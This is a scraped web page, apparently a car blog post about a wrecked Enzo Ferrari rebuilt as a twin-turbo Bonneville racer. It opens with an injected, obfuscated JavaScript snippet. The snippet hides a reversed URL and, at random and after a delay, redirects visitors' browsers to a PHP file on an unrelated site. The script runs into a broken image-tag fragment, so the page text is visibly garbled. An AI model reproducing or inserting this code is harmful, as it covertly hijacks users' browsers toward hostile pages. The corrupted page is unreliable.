$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/press_release/twin-turbo_ferrari_enzo.jpg”>
What would you do with a wrecked Enzo Ferrari? Send it back to Maranello for a very expensive repair job? Or would you turn it into a 1000bhp twin-turbo machine to take on the Bonneville Salt Flats? We’re thinking the latter…
Details about this machine are sketchy, but what we’ve been able to gleam is that the car ran at 850bhp on the rolling road when running on low boost, the body is actually made from the original parts left over after the creation of the mind blowing Pininfarina P4/5 (James Glickenhaus)and for that its owner Richard Losee deserves our respect.
Expect more info – and hopefully video – to emerge on this car as Speed Week progresses.
[dailyderbi.com]